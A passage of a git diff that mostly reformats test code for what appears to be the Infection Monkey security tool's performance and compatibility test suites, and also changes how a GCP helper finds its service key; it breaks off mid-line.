b/envs/monkey_zoo/blackbox/tests/performance/map_generation_from_telemetries.py @@ -2,8 +2,9 @@ from datetime import timedelta from envs.monkey_zoo.blackbox.tests.performance.performance_test import PerformanceTest from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig -from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test_workflow import \ - TelemetryPerformanceTestWorkflow +from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test_workflow import ( + TelemetryPerformanceTestWorkflow, +) MAX_ALLOWED_SINGLE_PAGE_TIME = timedelta(seconds=2) MAX_ALLOWED_TOTAL_TIME = timedelta(seconds=5) @@ -19,14 +20,18 @@ class MapGenerationFromTelemetryTest(PerformanceTest): def __init__(self, island_client, quick_performance_test: bool, break_on_timeout=False): self.island_client = island_client - performance_config = PerformanceTestConfig(max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME, - max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME, - endpoints_to_test=MAP_RESOURCES, - break_on_timeout=break_on_timeout) - self.performance_test_workflow = TelemetryPerformanceTestWorkflow(MapGenerationFromTelemetryTest.TEST_NAME, - self.island_client, - performance_config, - quick_performance_test) + performance_config = PerformanceTestConfig( + max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME, + max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME, + endpoints_to_test=MAP_RESOURCES, + break_on_timeout=break_on_timeout, + ) + self.performance_test_workflow = TelemetryPerformanceTestWorkflow( + MapGenerationFromTelemetryTest.TEST_NAME, + self.island_client, + performance_config, + quick_performance_test, + ) def run(self): self.performance_test_workflow.run() diff --git a/envs/monkey_zoo/blackbox/tests/performance/performance_test.py b/envs/monkey_zoo/blackbox/tests/performance/performance_test.py index dd6af8065..de5d49945 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/performance_test.py +++ b/envs/monkey_zoo/blackbox/tests/performance/performance_test.py @@ -4,10 +4,10 @@ from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest class PerformanceTest(BasicTest, metaclass=ABCMeta): - @abstractmethod - def __init__(self, island_client, raw_config, analyzers, - timeout, log_handler, break_on_timeout): + def __init__( + self, island_client, raw_config, analyzers, timeout, log_handler, break_on_timeout + ): pass @property diff --git a/envs/monkey_zoo/blackbox/tests/performance/performance_test_config.py b/envs/monkey_zoo/blackbox/tests/performance/performance_test_config.py index ad7be5967..cc45093c0 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/performance_test_config.py +++ b/envs/monkey_zoo/blackbox/tests/performance/performance_test_config.py @@ -3,9 +3,13 @@ from typing import List class PerformanceTestConfig: - - def __init__(self, max_allowed_single_page_time: timedelta, max_allowed_total_time: timedelta, - endpoints_to_test: List[str] = None, break_on_timeout=False): + def __init__( + self, + max_allowed_single_page_time: timedelta, + max_allowed_total_time: timedelta, + endpoints_to_test: List[str] = None, + break_on_timeout=False, + ): self.max_allowed_single_page_time = max_allowed_single_page_time self.max_allowed_total_time = max_allowed_total_time self.endpoints_to_test = endpoints_to_test diff --git a/envs/monkey_zoo/blackbox/tests/performance/performance_test_workflow.py b/envs/monkey_zoo/blackbox/tests/performance/performance_test_workflow.py index 7799e3d29..de63ed899 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/performance_test_workflow.py +++ b/envs/monkey_zoo/blackbox/tests/performance/performance_test_workflow.py @@ -1,12 +1,15 @@ from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest -from envs.monkey_zoo.blackbox.tests.performance.endpoint_performance_test import EndpointPerformanceTest +from envs.monkey_zoo.blackbox.tests.performance.endpoint_performance_test import ( + EndpointPerformanceTest, +) from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig class PerformanceTestWorkflow(BasicTest): - - def __init__(self, name, exploitation_test: ExploitationTest, performance_config: PerformanceTestConfig): + def __init__( + self, name, exploitation_test: ExploitationTest, performance_config: PerformanceTestConfig + ): self.name = name self.exploitation_test = exploitation_test self.island_client = exploitation_test.island_client @@ -25,7 +28,9 @@ class PerformanceTestWorkflow(BasicTest): self.exploitation_test.wait_for_monkey_process_to_finish() if not self.island_client.is_all_monkeys_dead(): raise RuntimeError("Can't test report times since not all Monkeys have died.") - performance_test = EndpointPerformanceTest(self.name, self.performance_config, self.island_client) + performance_test = EndpointPerformanceTest( + self.name, self.performance_config, self.island_client + ) try: if not self.island_client.is_all_monkeys_dead(): raise RuntimeError("Can't test report times since not all Monkeys have died.") diff --git a/envs/monkey_zoo/blackbox/tests/performance/report_generation.py b/envs/monkey_zoo/blackbox/tests/performance/report_generation.py index f05661682..c7efc6057 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/report_generation.py +++ b/envs/monkey_zoo/blackbox/tests/performance/report_generation.py @@ -3,7 +3,9 @@ from datetime import timedelta from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest from envs.monkey_zoo.blackbox.tests.performance.performance_test import PerformanceTest from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig -from envs.monkey_zoo.blackbox.tests.performance.performance_test_workflow import PerformanceTestWorkflow +from envs.monkey_zoo.blackbox.tests.performance.performance_test_workflow import ( + PerformanceTestWorkflow, +) MAX_ALLOWED_SINGLE_PAGE_TIME = timedelta(seconds=2) MAX_ALLOWED_TOTAL_TIME = timedelta(seconds=5) @@ -13,25 +15,34 @@ REPORT_RESOURCES = [ "api/attack/report", "api/report/zero_trust/findings", "api/report/zero_trust/principles", - "api/report/zero_trust/pillars" + "api/report/zero_trust/pillars", ] class ReportGenerationTest(PerformanceTest): TEST_NAME = "Report generation performance test" - def __init__(self, island_client, raw_config, analyzers, - timeout, log_handler, break_on_timeout): + def __init__( + self, island_client, raw_config, analyzers, timeout, log_handler, break_on_timeout + ): self.island_client = island_client - exploitation_test = ExploitationTest(ReportGenerationTest.TEST_NAME, island_client, - raw_config, analyzers, timeout, log_handler) - performance_config = PerformanceTestConfig(max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME, - max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME, - endpoints_to_test=REPORT_RESOURCES, - break_on_timeout=break_on_timeout) - self.performance_test_workflow = PerformanceTestWorkflow(ReportGenerationTest.TEST_NAME, - exploitation_test, - performance_config) + exploitation_test = ExploitationTest( + ReportGenerationTest.TEST_NAME, + island_client, + raw_config, + analyzers, + timeout, + log_handler, + ) + performance_config = PerformanceTestConfig( + max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME, + max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME, + endpoints_to_test=REPORT_RESOURCES, + break_on_timeout=break_on_timeout, + ) + self.performance_test_workflow = PerformanceTestWorkflow( + ReportGenerationTest.TEST_NAME, exploitation_test, performance_config + ) def run(self): self.performance_test_workflow.run() diff --git a/envs/monkey_zoo/blackbox/tests/performance/report_generation_from_telemetries.py b/envs/monkey_zoo/blackbox/tests/performance/report_generation_from_telemetries.py index abc2b35c2..59c7e1848 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/report_generation_from_telemetries.py +++ b/envs/monkey_zoo/blackbox/tests/performance/report_generation_from_telemetries.py @@ -2,8 +2,9 @@ from datetime import timedelta from envs.monkey_zoo.blackbox.tests.performance.performance_test import PerformanceTest from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig -from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test_workflow import \ - TelemetryPerformanceTestWorkflow +from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test_workflow import ( + TelemetryPerformanceTestWorkflow, +) MAX_ALLOWED_SINGLE_PAGE_TIME = timedelta(seconds=2) MAX_ALLOWED_TOTAL_TIME = timedelta(seconds=5) @@ -13,7 +14,7 @@ REPORT_RESOURCES = [ "api/attack/report", "api/report/zero_trust/findings", "api/report/zero_trust/principles", - "api/report/zero_trust/pillars" + "api/report/zero_trust/pillars", ] @@ -23,14 +24,18 @@ class ReportGenerationFromTelemetryTest(PerformanceTest): def __init__(self, island_client, quick_performance_test, break_on_timeout=False): self.island_client = island_client - performance_config = PerformanceTestConfig(max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME, - max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME, - endpoints_to_test=REPORT_RESOURCES, - break_on_timeout=break_on_timeout) - self.performance_test_workflow = TelemetryPerformanceTestWorkflow(ReportGenerationFromTelemetryTest.TEST_NAME, - self.island_client, - performance_config, - quick_performance_test) + performance_config = PerformanceTestConfig( + max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME, + max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME, + endpoints_to_test=REPORT_RESOURCES, + break_on_timeout=break_on_timeout, + ) + self.performance_test_workflow = TelemetryPerformanceTestWorkflow( + ReportGenerationFromTelemetryTest.TEST_NAME, + self.island_client, + performance_config, + quick_performance_test, + ) def run(self): self.performance_test_workflow.run() diff --git a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_file_parser.py b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_file_parser.py index 0f0c3311f..c0eeafd5c 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_file_parser.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_file_parser.py @@ -5,39 +5,43 @@ from typing import Dict, List from tqdm import tqdm -TELEM_DIR_PATH = './tests/performance/telem_sample' +TELEM_DIR_PATH = "../envs/monkey_zoo/blackbox/tests/performance/telemetry_sample" MAX_SAME_TYPE_TELEM_FILES = 10000 LOGGER = logging.getLogger(__name__) class SampleFileParser: - @staticmethod def save_teletries_to_files(telems: List[Dict]): - for telem in (tqdm(telems, desc="Telemetries saved to files", position=3)): + for telem in tqdm(telems, desc="Telemetries saved to files", position=3): SampleFileParser.save_telemetry_to_file(telem) @staticmethod def save_telemetry_to_file(telem: Dict): - telem_filename = telem['name'] + telem['method'] + telem_filename = telem["name"] + telem["method"] for i in range(MAX_SAME_TYPE_TELEM_FILES): if not path.exists(path.join(TELEM_DIR_PATH, (str(i) + telem_filename))): telem_filename = str(i) + telem_filename break - with open(path.join(TELEM_DIR_PATH, telem_filename), 'w') as file: + with open(path.join(TELEM_DIR_PATH, telem_filename), "w") as file: file.write(json.dumps(telem)) @staticmethod def read_telem_files() -> List[str]: telems = [] try: - file_paths = [path.join(TELEM_DIR_PATH, f) for f in listdir(TELEM_DIR_PATH) - if path.isfile(path.join(TELEM_DIR_PATH, f))] + file_paths = [ + path.join(TELEM_DIR_PATH, f) + for f in listdir(TELEM_DIR_PATH) + if path.isfile(path.join(TELEM_DIR_PATH, f)) + ] except FileNotFoundError: - raise FileNotFoundError("Telemetries to send not found. " - "Refer to readme to figure out how to generate telemetries and where to put them.") + raise FileNotFoundError( + "Telemetries to send not found. " + "Refer to readme to figure out how to generate telemetries and where to put them." + ) for file_path in file_paths: - with open(file_path, 'r') as telem_file: + with open(file_path, "r") as telem_file: telem_string = "".join(telem_file.readlines()).replace("\n", "") telems.append(telem_string) return telems diff --git a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_ip_generator.py b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_ip_generator.py index 90422f9a0..70bb69de4 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_ip_generator.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_ip_generator.py @@ -8,7 +8,7 @@ class FakeIpGenerator: def generate_fake_ips_for_real_ips(self, real_ips: List[str]) -> List[str]: fake_ips = [] for i in range(len(real_ips)): - fake_ips.append('.'.join(str(part) for part in self.fake_ip_parts)) + fake_ips.append(".".join(str(part) for part in self.fake_ip_parts)) self.increment_ip() return fake_ips @@ -19,7 +19,7 @@ class FakeIpGenerator: def try_fix_ip_range(self): for i in range(len(self.fake_ip_parts)): if self.fake_ip_parts[i] > 256: - if i-1 < 0: + if i - 1 < 0: raise Exception("Fake IP's out of range.") - self.fake_ip_parts[i-1] += 1 + self.fake_ip_parts[i - 1] += 1 self.fake_ip_parts[i] = 1 diff --git a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_monkey.py b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_monkey.py index efee81227..37245cefc 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_monkey.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_monkey.py @@ -1,7 +1,8 @@ import random -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import \ - FakeIpGenerator +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import ( # noqa: E501 + FakeIpGenerator, +) class FakeMonkey: diff --git a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py index cb5956025..8ec9bb346 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py @@ -6,24 +6,27 @@ from typing import Dict, List from tqdm import tqdm -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import SampleFileParser -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import \ - FakeIpGenerator -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_monkey import FakeMonkey +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import ( + SampleFileParser, +) +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import ( # noqa: E501 + FakeIpGenerator, +) +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_monkey import ( # noqa: E501 + FakeMonkey, +) -TELEM_DIR_PATH = './tests/performance/telemetry_sample' LOGGER = logging.getLogger(__name__) class SampleMultiplier: - def __init__(self, multiplier: int): self.multiplier = multiplier self.fake_ip_generator = FakeIpGenerator() def multiply_telems(self): telems = SampleFileParser.get_all_telemetries() - telem_contents = [json.loads(telem['content']) for telem in telems] + telem_contents = [json.loads(telem["content"]) for telem in telems] monkeys = self.get_monkeys_from_telems(telem_contents) for i in tqdm(range(self.multiplier), desc="Batch of fabricated telemetries", position=1): for monkey in monkeys: @@ -40,46 +43,61 @@ class SampleMultiplier: for monkey in monkeys: if monkey.on_island: continue - if (monkey.original_guid in telem['content'] or monkey.original_guid in telem['endpoint']) \ - and not monkey.on_island: - telem['content'] = telem['content'].replace(monkey.original_guid, monkey.fake_guid) - telem['endpoint'] = telem['endpoint'].replace(monkey.original_guid, monkey.fake_guid) + if ( + monkey.original_guid in telem["content"] + or monkey.original_guid in telem["endpoint"] + ) and not monkey.on_island: + telem["content"] = telem["content"].replace( + monkey.original_guid, monkey.fake_guid + ) + telem["endpoint"] = telem["endpoint"].replace( + monkey.original_guid, monkey.fake_guid + ) for i in range(len(monkey.original_ips)): - telem['content'] = telem['content'].replace(monkey.original_ips[i], monkey.fake_ips[i]) + telem["content"] = telem["content"].replace( + monkey.original_ips[i], monkey.fake_ips[i] + ) @staticmethod def offset_telem_times(iteration: int, telems: List[Dict]): for telem in telems: - telem['time']['$date'] += iteration * 1000 + telem["time"]["$date"] += iteration * 1000 def get_monkeys_from_telems(self, telems: List[Dict]): island_ips = SampleMultiplier.get_island_ips_from_telems(telems) monkeys = [] - for telem in [telem for telem in telems - if 'telem_category' in telem and telem['telem_category'] == 'system_info']: - if 'network_info' not in telem['data']: + for telem in [ + telem + for telem in telems + if "telem_category" in telem and telem["telem_category"] == "system_info" + ]: + if "network_info" not in telem["data"]: continue - guid = telem['monkey_guid'] + guid = telem["monkey_guid"] monkey_present = [monkey for monkey in monkeys if monkey.original_guid == guid] if not monkey_present: - ips = [net_info['addr'] for net_info in telem['data']['network_info']['networks']] + ips = [net_info["addr"] for net_info in telem["data"]["network_info"]["networks"]] if set(island_ips).intersection(ips): on_island = True else: on_island = False - monkeys.append(FakeMonkey(ips=ips, - guid=guid, - fake_ip_generator=self.fake_ip_generator, - on_island=on_island)) + monkeys.append( + FakeMonkey( + ips=ips, + guid=guid, + fake_ip_generator=self.fake_ip_generator, + on_island=on_island, + ) + ) return monkeys @staticmethod def get_island_ips_from_telems(telems: List[Dict]) -> List[str]: island_ips = [] for telem in telems: - if 'config' in telem: - island_ips = telem['config']['command_servers'] + if "config" in telem: + island_ips = telem["config"]["command_servers"] for i in range(len(island_ips)): island_ips[i] = island_ips[i].replace(":5000", "") return island_ips diff --git a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/test_fake_ip_generator.py b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/test_fake_ip_generator.py index 02cf3a8eb..55662b307 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/test_fake_ip_generator.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/test_fake_ip_generator.py @@ -1,19 +1,21 @@ from unittest import TestCase -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import \ - FakeIpGenerator +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import ( # noqa: E501 + FakeIpGenerator, +) class TestFakeIpGenerator(TestCase): - def test_fake_ip_generation(self): fake_ip_gen = FakeIpGenerator() self.assertListEqual([1, 1, 1, 1], fake_ip_gen.fake_ip_parts) for i in range(256): - fake_ip_gen.generate_fake_ips_for_real_ips(['1.1.1.1']) - self.assertListEqual(['1.1.2.1'], fake_ip_gen.generate_fake_ips_for_real_ips(['1.1.1.1'])) + fake_ip_gen.generate_fake_ips_for_real_ips(["1.1.1.1"]) + self.assertListEqual(["1.1.2.1"], fake_ip_gen.generate_fake_ips_for_real_ips(["1.1.1.1"])) fake_ip_gen.fake_ip_parts = [256, 256, 255, 256] - self.assertListEqual(['256.256.255.256', '256.256.256.1'], - fake_ip_gen.generate_fake_ips_for_real_ips(['1.1.1.1', '1.1.1.2'])) + self.assertListEqual( + ["256.256.255.256", "256.256.256.1"], + fake_ip_gen.generate_fake_ips_for_real_ips(["1.1.1.1", "1.1.1.2"]), + ) fake_ip_gen.fake_ip_parts = [256, 256, 256, 256] - self.assertRaises(Exception, fake_ip_gen.generate_fake_ips_for_real_ips(['1.1.1.1'])) + self.assertRaises(Exception, fake_ip_gen.generate_fake_ips_for_real_ips(["1.1.1.1"])) diff --git a/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test.py b/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test.py index 699876cce..31179d713 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test.py @@ -2,13 +2,13 @@ import json import logging from datetime import timedelta -from tqdm import tqdm - from envs.monkey_zoo.blackbox.analyzers.performance_analyzer import PerformanceAnalyzer from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient from envs.monkey_zoo.blackbox.island_client.supported_request_method import SupportedRequestMethod from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import SampleFileParser +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import ( + SampleFileParser, +) LOGGER = logging.getLogger(__name__) @@ -17,7 +17,6 @@ MAX_ALLOWED_TOTAL_TIME = timedelta(seconds=60) class TelemetryPerformanceTest: - def __init__(self, island_client: MonkeyIslandClient, quick_performance_test: bool): self.island_client = island_client self.quick_performance_test = quick_performance_test @@ -27,29 +26,41 @@ class TelemetryPerformanceTest: try: all_telemetries = SampleFileParser.get_all_telemetries() except FileNotFoundError: - raise FileNotFoundError("Telemetries to send not found. " - "Refer to readme to figure out how to generate telemetries and where to put them.") + raise FileNotFoundError( + "Telemetries to send not found. " + "Refer to readme to figure out how to generate telemetries and where to put them." + ) LOGGER.info("Telemetries imported successfully.") - all_telemetries.sort(key=lambda telem: telem['time']['$date']) + all_telemetries.sort(key=lambda telem: telem["time"]["$date"]) telemetry_parse_times = {} - for telemetry in tqdm(all_telemetries, total=len(all_telemetries), ascii=True, desc="Telemetries sent"): - telemetry_endpoint = TelemetryPerformanceTest.get_verbose_telemetry_endpoint(telemetry) - telemetry_parse_times[telemetry_endpoint] = self.get_telemetry_time(telemetry) - test_config = PerformanceTestConfig(MAX_ALLOWED_SINGLE_TELEM_PARSE_TIME, MAX_ALLOWED_TOTAL_TIME) + for i in range(len(all_telemetries)): + telemetry_endpoint = TelemetryPerformanceTest.get_verbose_telemetry_endpoint( + all_telemetries[i] + ) + telemetry_parse_times[telemetry_endpoint] = self.get_telemetry_time(all_telemetries[i]) + LOGGER.info(f"Telemetry Nr.{i} sent out of {len(all_telemetries)} total.") + test_config = PerformanceTestConfig( + MAX_ALLOWED_SINGLE_TELEM_PARSE_TIME, MAX_ALLOWED_TOTAL_TIME + ) PerformanceAnalyzer(test_config, telemetry_parse_times).analyze_test_results() if not self.quick_performance_test: self.island_client.reset_env() def get_telemetry_time(self, telemetry): - content = telemetry['content'] - url = telemetry['endpoint'] - method = SupportedRequestMethod.__getattr__(telemetry['method']) + content = telemetry["content"] + url = telemetry["endpoint"] + method = SupportedRequestMethod.__getattr__(telemetry["method"]) return self.island_client.requests.get_request_time(url=url, method=method, data=content) @staticmethod def get_verbose_telemetry_endpoint(telemetry): telem_category = "" - if "telem_category" in telemetry['content']: - telem_category = "_" + json.loads(telemetry['content'])['telem_category'] + "_" + telemetry['_id']['$oid'] - return telemetry['endpoint'] + telem_category + if "telem_category" in telemetry["content"]: + telem_category = ( + "_" + + json.loads(telemetry["content"])["telem_category"] + + "_" + + telemetry["_id"]["$oid"] + ) + return telemetry["endpoint"] + telem_category diff --git a/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test_workflow.py b/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test_workflow.py index 6d09752ca..b492bf9e6 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test_workflow.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test_workflow.py @@ -1,12 +1,17 @@ from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest -from envs.monkey_zoo.blackbox.tests.performance.endpoint_performance_test import EndpointPerformanceTest +from envs.monkey_zoo.blackbox.tests.performance.endpoint_performance_test import ( + EndpointPerformanceTest, +) from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig -from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import TelemetryPerformanceTest +from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import ( + TelemetryPerformanceTest, +) class TelemetryPerformanceTestWorkflow(BasicTest): - - def __init__(self, name, island_client, performance_config: PerformanceTestConfig, quick_performance_test): + def __init__( + self, name, island_client, performance_config: PerformanceTestConfig, quick_performance_test + ): self.name = name self.island_client = island_client self.performance_config = performance_config @@ -15,10 +20,14 @@ class TelemetryPerformanceTestWorkflow(BasicTest): def run(self): try: if not self.quick_performance_test: - telem_sending_test = TelemetryPerformanceTest(island_client=self.island_client, - quick_performance_test=self.quick_performance_test) + telem_sending_test = TelemetryPerformanceTest( + island_client=self.island_client, + quick_performance_test=self.quick_performance_test, + ) telem_sending_test.test_telemetry_performance() - performance_test = EndpointPerformanceTest(self.name, self.performance_config, self.island_client) + performance_test = EndpointPerformanceTest( + self.name, self.performance_config, self.island_client + ) assert performance_test.run() finally: if not self.quick_performance_test: diff --git a/envs/monkey_zoo/blackbox/utils/config_generation_script.py b/envs/monkey_zoo/blackbox/utils/config_generation_script.py index 603e9fe4d..b2c69acda 100644 --- a/envs/monkey_zoo/blackbox/utils/config_generation_script.py +++ b/envs/monkey_zoo/blackbox/utils/config_generation_script.py @@ -18,12 +18,8 @@ from envs.monkey_zoo.blackbox.config_templates.weblogic import Weblogic from envs.monkey_zoo.blackbox.config_templates.wmi_mimikatz import WmiMimikatz from envs.monkey_zoo.blackbox.config_templates.wmi_pth import WmiPth from envs.monkey_zoo.blackbox.config_templates.zerologon import Zerologon -from envs.monkey_zoo.blackbox.island_client.island_config_parser import ( - IslandConfigParser, -) -from envs.monkey_zoo.blackbox.island_client.monkey_island_client import ( - MonkeyIslandClient, -) +from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser +from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient DST_DIR_NAME = "generated_configs" DST_DIR_PATH = pathlib.Path(pathlib.Path(__file__).parent.absolute(), DST_DIR_NAME) diff --git a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py index 927b5b6f3..c438e92f5 100644 --- a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py +++ b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py @@ -1,28 +1,47 @@ import logging +import os import subprocess LOGGER = logging.getLogger(__name__) class GCPHandler(object): - AUTHENTICATION_COMMAND = "gcloud auth activate-service-account --key-file=%s" SET_PROPERTY_PROJECT = "gcloud config set project %s" MACHINE_STARTING_COMMAND = "gcloud compute instances start %s --zone=%s" MACHINE_STOPPING_COMMAND = "gcloud compute instances stop %s --zone=%s" - def __init__(self, key_path="../gcp_keys/gcp_key.json", zone="europe-west3-a", project_id="guardicore-22050661"): + # Key path location relative to this file's directory + RELATIVE_KEY_PATH = "../../gcp_keys/gcp_key.json" + DEFAULT_ZONE = "europe-west3-a" + DEFAULT_PROJECT = "guardicore-22050661" + + def __init__( + self, + zone=DEFAULT_ZONE, + project_id=DEFAULT_PROJECT, + ): self.zone = zone - try: - # pass the key file to gcp - subprocess.call(GCPHandler.get_auth_command(key_path), shell=True) # noqa: DUO116 - LOGGER.info("GCP Handler passed key") - # set project - subprocess.call(GCPHandler.get_set_project_command(project_id), shell=True) # noqa: DUO116 - LOGGER.info("GCP Handler set project") - LOGGER.info("GCP Handler initialized successfully") - except Exception as e: - LOGGER.error("GCP Handler failed to initialize: %s." % e) + abs_key_path = GCPHandler.get_absolute_key_path() + + subprocess.call(GCPHandler.get_auth_command(abs_key_path), shell=True) # noqa: DUO116 + LOGGER.info("GCP Handler passed key") + + subprocess.call(GCPHandler.get_set_project_command(project_id), shell=True) # noqa: DUO116 + LOGGER.info("GCP Handler set project") + LOGGER.info("GCP Handler initialized successfully") + + @staticmethod + def get_absolute_key_path() -> str: + file_dir = os.path.dirname(os.path.realpath(__file__)) + absolute_key_path = os.path.join(file_dir, GCPHandler.RELATIVE_KEY_PATH) + absolute_key_path = os.path.realpath(absolute_key_path) + + if not os.path.isfile(absolute_key_path): + raise FileNotFoundError( + "GCP key not found. " "Add a service key to envs/monkey_zoo/gcp_keys/gcp_key.json" + ) + return absolute_key_path def start_machines(self, machine_list): """ @@ -32,14 +51,18 @@ class GCPHandler(object): """ LOGGER.info("Setting up all GCP machines...") try: - subprocess.call((GCPHandler.MACHINE_STARTING_COMMAND % (machine_list, self.zone)), shell=True) # noqa: DUO116 + subprocess.call( # noqa: DUO116 + (GCPHandler.MACHINE_STARTING_COMMAND % (machine_list, self.zone)), shell=True + ) LOGGER.info("GCP machines successfully started.") except Exception as e: LOGGER.error("GCP Handler failed to start GCP machines: %s" % e) def stop_machines(self, machine_list): try: - subprocess.call((GCPHandler.MACHINE_STOPPING_COMMAND % (machine_list, self.zone)), shell=True) # noqa: DUO116 + subprocess.call( # noqa: DUO116 + (GCPHandler.MACHINE_STOPPING_COMMAND % (machine_list, self.zone)), shell=True + ) LOGGER.info("GCP machines stopped successfully.") except Exception as e: LOGGER.error("GCP Handler failed to stop network machines: %s" % e) diff --git a/envs/monkey_zoo/blackbox/utils/generated_configs/.gitignore b/envs/monkey_zoo/blackbox/utils/generated_configs/.gitignore index 9c558e357..72e8ffc0d 100644 --- a/envs/monkey_zoo/blackbox/utils/generated_configs/.gitignore +++ b/envs/monkey_zoo/blackbox/utils/generated_configs/.gitignore @@ -1 +1 @@ -. +* diff --git a/envs/os_compatibility/conftest.py b/envs/os_compatibility/conftest.py index 13aabf5b6..eb643c028 100644 --- a/envs/os_compatibility/conftest.py +++ b/envs/os_compatibility/conftest.py @@ -2,10 +2,14 @@ import pytest def pytest_addoption(parser): - parser.addoption("--island", action="store", default="", - help="Specify the Monkey Island address (host+port).") + parser.addoption( + "--island", + action="store", + default="", + help="Specify the Monkey Island address (host+port).", + ) -@pytest.fixture(scope='module') +@pytest.fixture(scope="module") def island(request): return request.config.getoption("--island") diff --git a/envs/os_compatibility/test_compatibility.py b/envs/os_compatibility/test_compatibility.py index 1cf5220bb..f43323e19 100644 --- a/envs/os_compatibility/test_compatibility.py +++ b/envs/os_compatibility/test_compatibility.py @@ -31,22 +31,21 @@ machine_list = { } -@pytest.fixture(scope='class') +@pytest.fixture(scope="class") def island_client(island): island_client_object = MonkeyIslandClient(island) yield island_client_object -@pytest.mark.usefixtures('island_client') +@pytest.mark.usefixtures("island_client") # noinspection PyUnresolvedReferences class 